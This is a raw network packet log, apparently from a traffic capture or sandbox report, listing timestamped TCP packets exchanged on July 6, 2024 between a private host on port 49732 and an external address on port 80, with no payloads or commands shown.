Jul 6, 2024 14:10:10.023401976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023432970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023442984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023466110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023483038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023658991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023679972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023698092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023710966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023817062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023825884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023835897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023845911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023855925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023881912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023915052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023925066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.023955107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.023993015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024027109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024050951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024082899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024105072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024113894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024136066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024148941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024211884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024250984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024297953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024308920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024338007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024347067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024347067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024369001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024802923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024852991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024856091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024887085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024913073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024945974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.024979115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.024992943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.025015116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.025016069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.025026083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.025031090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.025046110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.025062084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.213516951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.213535070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.213545084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.213556051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.213597059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.213644981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.213974953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214015007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214032888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214044094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214066982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214076996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214095116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214104891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214128017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214142084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214953899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214977980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.214986086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.214994907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215009928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215010881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215020895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215030909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215035915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215039015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215043068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215064049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215082884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215116024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215135098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215145111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215168953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215183020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215235949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215245962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215255976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215265989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215271950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215301991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215374947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215384960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215394974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215409040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215431929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215468884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215478897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215502977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215503931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215512037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215538979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215589046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215596914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215619087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215641975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215662956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215672016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215694904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215744972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215778112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215826988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215861082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215918064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215926886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.215946913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.215959072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.216046095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216056108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216082096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.216231108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216252089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216281891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.216813087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216845989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.216845989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.216897964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.216937065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217019081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217030048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217040062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217051029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217053890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217061996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217086077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217154026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217164040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217192888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217205048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217258930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217267990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217298031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217350006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217360973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217386007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217406988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217432976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217463970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217530966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217539072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217566013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217618942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217627048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217654943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217742920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217751980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217780113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217803955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.217844009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.217987061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218024969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218065977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218096972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218111992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218122959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218157053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218157053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218307018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218316078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218346119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218823910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218833923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218851089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218873978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218882084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218889952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218899965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.218920946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.218950033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.219101906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.219136953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.421962023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.421981096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.421999931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422046900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422054052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422218084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422296047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422337055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422363043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422373056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422393084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422405005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422410965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422435999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422504902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422539949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422559023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422584057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422677994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422688007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422693968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422719955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422794104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422810078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422831059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422842979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.422916889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422926903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.422952890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423032045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423042059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423073053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423187017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423197031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423240900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423301935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423336983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423386097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423396111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423405886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423424006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423439026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423446894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423616886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423650026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423671961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423681974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423701048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423711061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423803091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423811913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423834085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423846006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423906088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423914909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.423938990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.423959017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424026012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424035072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424058914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424069881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424164057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424173117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424196959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424283981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424293995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424319983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424429893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424439907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424464941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424541950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424551010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424573898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424595118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424664974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424674034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424699068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424788952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424798012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424815893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424839973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424920082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424952984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.424963951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.424978971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425005913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425009012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425029039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425035954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425259113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425288916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425306082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425307035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425317049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425323963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425339937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425354958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425414085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425424099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425447941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425470114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425533056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425542116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425561905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425576925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425739050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425757885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425774097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425776958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425785065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.425810099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425820112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.425987005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426022053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426052094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426062107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426070929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426093102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426109076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426264048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426302910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426354885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426364899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426387072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426397085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426402092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426429987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426453114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426501036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426510096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426542044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426620007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426629066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426656008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426742077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426750898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426778078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.426855087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426863909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.426919937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.427057028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.427095890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.427131891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.427164078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.427242041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.427283049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.427298069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.427309990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.427355051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.615686893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615725994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615736961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615751028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615763903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.615803957 CEST	49732	80	192.168.2.4	211.108.60.155
